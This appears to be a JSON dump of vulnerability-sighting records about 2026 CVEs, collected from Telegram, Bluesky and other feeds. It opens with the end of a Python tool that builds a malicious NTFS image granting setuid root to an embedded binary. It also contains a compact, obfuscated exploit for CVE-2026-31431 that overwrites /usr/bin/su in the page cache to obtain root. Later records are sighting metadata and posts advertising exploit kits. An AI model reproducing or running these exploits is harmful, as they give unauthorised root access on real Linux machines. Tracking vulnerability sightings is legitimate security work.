f.seek(offset)\n            record = bytearray(f.read(MFT_RECORD_SIZE))\n            \n            if record[:4] != FILE_RECORD_MAGIC:\n                continue\n            \n            # Undo fixup to read attributes\n            record = undo_fixup(record)\n            \n            # Check if this record contains our filename\n            if target in record:\n                print(f\"  Found '{filename}' at MFT record {rec_num} (offset 0x{offset:x})\")\n                return rec_num\n    \n    return -1\n\n\ndef inject_ea_into_record(img_path: str, mft_offset: int, rec_num: int, ea_data: bytes):\n    \"\"\"Inject EA attribute into an MFT record.\"\"\"\n    offset = mft_offset + rec_num * MFT_RECORD_SIZE\n    \n    with open(img_path, 'r+b') as f:\n        f.seek(offset)\n        record = bytearray(f.read(MFT_RECORD_SIZE))\n    \n    if record[:4] != FILE_RECORD_MAGIC:\n        raise ValueError(f\"Invalid MFT record at offset 0x{offset:x}\")\n    \n    # Undo fixup\n    record = undo_fixup(record)\n    \n    # Parse record header\n    # Offset 0x14: first attribute offset\n    first_attr_offset = struct.unpack_from(' MFT_RECORD_SIZE:\n            break\n        last_attr_end = pos + attr_len\n        pos += attr_len\n    \n    print(f\"  END marker at offset {pos}\")\n    print(f\"  Last attribute ends at {last_attr_end}\")\n    \n    # Build EA_INFORMATION attribute (must come before EA)\n    ea_info_data = build_ea_info_data(ea_data)\n    ea_info_attr = build_resident_attr(ATTR_TYPE_EA_INFO, ea_info_data)\n    \n    # Build EA attribute\n    ea_attr = build_resident_attr(ATTR_TYPE_EA, ea_data)\n    \n    # Check if there's enough space\n    new_attrs_size = len(ea_info_attr) + len(ea_attr)\n    available = MFT_RECORD_SIZE - pos - 8  # 8 for END marker + padding\n    \n    print(f\"  EA_INFO attr size: {len(ea_info_attr)}\")\n    print(f\"  EA attr size: {len(ea_attr)}\")\n    print(f\"  Total new attrs: {new_attrs_size}\")\n    print(f\"  Available space: {available}\")\n    \n    if new_attrs_size + 8 > available:\n        raise ValueError(f\"Not enough space in MFT record! Need {new_attrs_size + 8}, have {available}\")\n    \n    # Insert at pos (where END marker was)\n    # Write EA_INFO, then EA, then END marker\n    insert_pos = pos\n    record[insert_pos:insert_pos + len(ea_info_attr)] = ea_info_attr\n    insert_pos += len(ea_info_attr)\n    record[insert_pos:insert_pos + len(ea_attr)] = ea_attr\n    insert_pos += len(ea_attr)\n    \n    # Write END marker\n    struct.pack_into(' {dst_name} in NTFS image\")\n        \n        subprocess.run(['umount', mount_point], check=True, capture_output=True)\n    except subprocess.CalledProcessError as e:\n        print(f\"  Mount/copy failed: {e.stderr.decode() if e.stderr else e}\")\n        # Try ntfscopy as fallback\n        try:\n            subprocess.run(['umount', mount_point], capture_output=True)\n        except:\n            pass\n        try:\n            subprocess.run(['ntfscp', img_path, src_path, dst_name],\n                           check=True, capture_output=True)\n            print(f\"  Copied with ntfscp: {src_path} -> {dst_name}\")\n        except subprocess.CalledProcessError as e2:\n            raise RuntimeError(f\"Failed to copy file to NTFS: {e2}\")\n    finally:\n        try:\n            os.rmdir(mount_point)\n        except:\n            pass\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(f\"Usage: {sys.argv[0]}  \")\n        print(f\"  Creates NTFS image with the binary having SUID root via $LXMOD EA\")\n        sys.exit(1)\n    \n    img_path = sys.argv[1]\n    binary_path = sys.argv[2]\n    target_name = \"pwn\"\n    \n    if not os.path.exists(binary_path):\n        print(f\"[-] Binary not found: {binary_path}\")\n        sys.exit(1)\n    \n    print(\"=\" * 60)\n    print(\"  InjectionBunny - Crafting malicious NTFS image\")\n    print(\"=\" * 60)\n    print()\n    \n    create_ntfs_image(img_path)\n    \n    print(f\"\\n[*] Embedding payload binary as '{target_name}'\")\n    copy_file_to_ntfs(img_path, binary_path, target_name)\n    \n    print(f\"\\n[*] Locating filesystem metadata\")\n    mft_offset = find_mft_offset(img_path)\n    \n    print(f\"\\n[*] Patching file record\")\n    rec_num = find_file_record(img_path, mft_offset, target_name)\n    if rec_num < 0:\n        print(f\"[-] Could not find '{target_name}' in image!\")\n        sys.exit(1)\n    \n    print(f\"\\n[*] Injecting setuid-root permissions into image metadata\")\n    \n    ea_entries = [\n        (b'$LXUID', LXUID_VALUE),\n        (b'$LXGID', LXGID_VALUE),\n        (b'$LXMOD', LXMOD_VALUE),\n    ]\n    ea_data = build_ea_attribute(ea_entries)\n    \n    inject_ea_into_record(img_path, mft_offset, rec_num, ea_data)\n    \n    print(f\"\\n[+] InjectionBunny image ready: {img_path}\")\n    print(f\"[+] Write to USB drive or mount with: mount -t ntfs3 -o loop {img_path} /mnt\")\n    print(f\"[+] Then run /mnt/{target_name} to get root shell\")\n    print()\n\n\nif __name__ == '__main__':\n    main()\n\n#!/usr/bin/env python3\n# CVE-2026-31431\nimport os as g,zlib,socket as s\ndef d(x):return bytes.fromhex(x)\ndef c(f,t,c):\n a=s.socket(38,5,0);a.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b\"A\"*4+c],[(h,3,i*4),(h,2,b'\\x10'+i*19),(h,4,b'\\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)\n try:u.recv(8+t)\n except:0\nf=g.open(\"/usr/bin/su\",0);i=0;e=zlib.decompress(d(\"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3\"))\nwhile i<len(e):c(f,i,e[i:i+4]);i+=4\ng.system(\"su\")", "creation_timestamp": "2026-08-22T16:44:19.262388Z"}, {"uuid": "d88d8058-5a7f-42b1-8fd3-64707d12a04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-16T19:00:20.609121Z"}, {"uuid": "a3008cb0-5fa9-44f9-8e8b-22ae34c92f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-16T19:00:26.457235Z"}, {"uuid": "a46dffc2-d8f5-4ba0-bdfe-e341f5a5a754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "Telegram/hz8J7OmyKpCx2dwZeOGeJ4c58vtR3whLTTLekuOtA4uUGLE", "content": "", "creation_timestamp": "2026-07-16T19:00:26.226168Z"}, {"uuid": "c5793b01-cda6-44bc-821c-78e1b514e614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31892", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqs457pjpd2l", "content": "CVE-2026-54526 - Argo Workflows: Incomplete fix for CVE-2026-31892: ArtifactGC.PodSpecPatch bypass of Strict/Secure templateReferencing\nCVE ID : CVE-2026-54526\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Argo Workflows is an open source container-...", "creation_timestamp": "2026-07-16T20:45:48.940473Z"}, {"uuid": "773c94e8-28e9-497f-9213-4902e89a10dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-17T00:00:37.025827Z"}, {"uuid": "ffa4c4de-c6f5-487e-9783-2501870ddb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-17T00:00:42.788972Z"}, {"uuid": "0758691a-bedd-42f2-a90d-883734dbb079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93676", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP-Contest-Gallery-28.1.4-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CerberusMrXi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 10:27:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nComplete exploitation toolkit for CVE-2026-3180 - WordPress Contest Gallery SQL Injection vulnerability. Features automated data extraction, WAF bypass, reverse shell, SQLMap integration, Burp extension generation, and reporting for penetration testing and security research.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:52.235286Z"}, {"uuid": "367f0b6a-40fc-49b4-8c1e-8825570d29fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/strykerapp/78278", "content": "Copy.fail\n\nCVE-2026-31431\n\nHave VPS, Kuber, Docker? I don't care, now i have root \ud83d\ude0a", "creation_timestamp": "2026-07-17T00:00:56.612248Z"}, {"uuid": "0eb700fa-2002-4179-acce-3d781320320f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31367", "type": "seen", "source": "https://t.me/GithubRedTeam/98396", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EITS-Portal-Exploit-CVE-2026-31367-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hereticL1nk\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 02:29:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:07.981674Z"}, {"uuid": "a7b6553f-bc48-4052-a0c3-8c1dad514356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "Telegram/hz8J7OmyKpCx2dwZeOGeJ4c58vtR3whLTTLekuOtA4uUGLE", "content": "", "creation_timestamp": "2026-07-17T01:00:24.020965Z"}, {"uuid": "d523b959-742e-481a-b985-95d35973db7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/392", "content": "CVE-2026-31431\n\nIn the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algifaead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algifaead since the\nsource and destination come from different mappings.  Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly.", "creation_timestamp": "2026-08-28T00:00:32.077700Z"}, {"uuid": "34a21d40-5daa-4481-848d-0e0cc50b1429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.dk/news/2026-07-17/GEANT-Linux-saarbarheder-AI-og-identitetstyveri-praegede-trusselsbilledet-i-andet-kvartal", "content": "", "creation_timestamp": "2026-07-17T12:45:03.724189Z"}, {"uuid": "4a30f8e6-42e4-4624-bb9f-6728c573d25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "published-proof-of-concept", "source": "Telegram/kQBPOJZRPfFE-rjb5OWBI31fcS08jxE2VBe_KgzBWEfjeHI", "content": "", "creation_timestamp": "2026-07-18T00:00:08.584351Z"}, {"uuid": "33de9cc9-1db8-4dbe-a1ea-a3fab74ab92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-18T00:00:23.450661Z"}, {"uuid": "1646922e-5b62-4cd2-a328-90a4bcb397c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "published-proof-of-concept", "source": "Telegram/hz8J7OmyKpCx2dwZeOGeJ4c58vtR3whLTTLekuOtA4uUGLE", "content": "", "creation_timestamp": "2026-07-18T00:00:09.048847Z"}, {"uuid": "81267a72-6b37-48c8-a07e-6a4473547c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-27T14:00:12.481829Z"}, {"uuid": "09579948-dda0-4460-92f8-fa5dc08c9f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "https://t.me/cve0day/324", "content": "CVE-2026-31802\n\nnode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.\n\nGitHub Link:\nhttps://github.com/Recorded-texteditor120/CVE-2026-31802", "creation_timestamp": "2026-08-28T00:00:39.826795Z"}, {"uuid": "8b7002dc-1ab4-4d4f-8c4a-99d1b1bc24ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/sanspie_notes/415", "content": "CVE-2026-31431\n\n\u041a\u0440\u0430\u0441\u0438\u0432\u0430\u044f \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u044f LPE \u043f\u043e\u0434 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432.\n\n\u0420\u0435\u043f\u043e\u0440\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: https://xint.io/blog/copy-fail-linux-distributions\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u0432 cache page \u043b\u044e\u0431\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\n\n\u0424\u0438\u043a\u0441: \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u043e\u0442\u0444\u0438\u043a\u0441. \u0412\u0441\u0451 \u0435\u0441\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435.\n\n\u0425\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043d\u044f)\n@disasm_me_ch", "creation_timestamp": "2026-07-19T03:00:04.176303Z"}, {"uuid": "287d4f8a-9af1-484b-aa9d-13fa89f5a4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/te9-dev.bsky.social/post/3mqxwowidwi2n", "content": "copy-fail-CVE-2026-31431 | 4.0k stars | 896 forks\n\nCopy Fail (CVE-2026-31431): 9-year-old Linux kernel LPE found by Theori's Xint Code", "creation_timestamp": "2026-07-19T04:24:19.646296Z"}, {"uuid": "8da8109f-a1d8-42f3-8231-deeb9a76b457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31367", "type": "seen", "source": "https://t.me/GithubRedTeam/98396", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EITS-Portal-Exploit-CVE-2026-31367-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hereticL1nk\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-17 02:29:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:32.632606Z"}, {"uuid": "9f49407b-2ecc-47e7-ae7e-ff41f69fe9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21676", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability \u2013 thehackernews.com\n\nTue, 19 May 2026 22:56:26", "creation_timestamp": "2026-07-19T16:00:04.715291Z"}, {"uuid": "d1e06896-8756-42c5-97a5-9f2f0ba70a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21278", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-07-19T16:00:05.127728Z"}, {"uuid": "ab70c79c-e915-4534-834c-18c203084ab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c 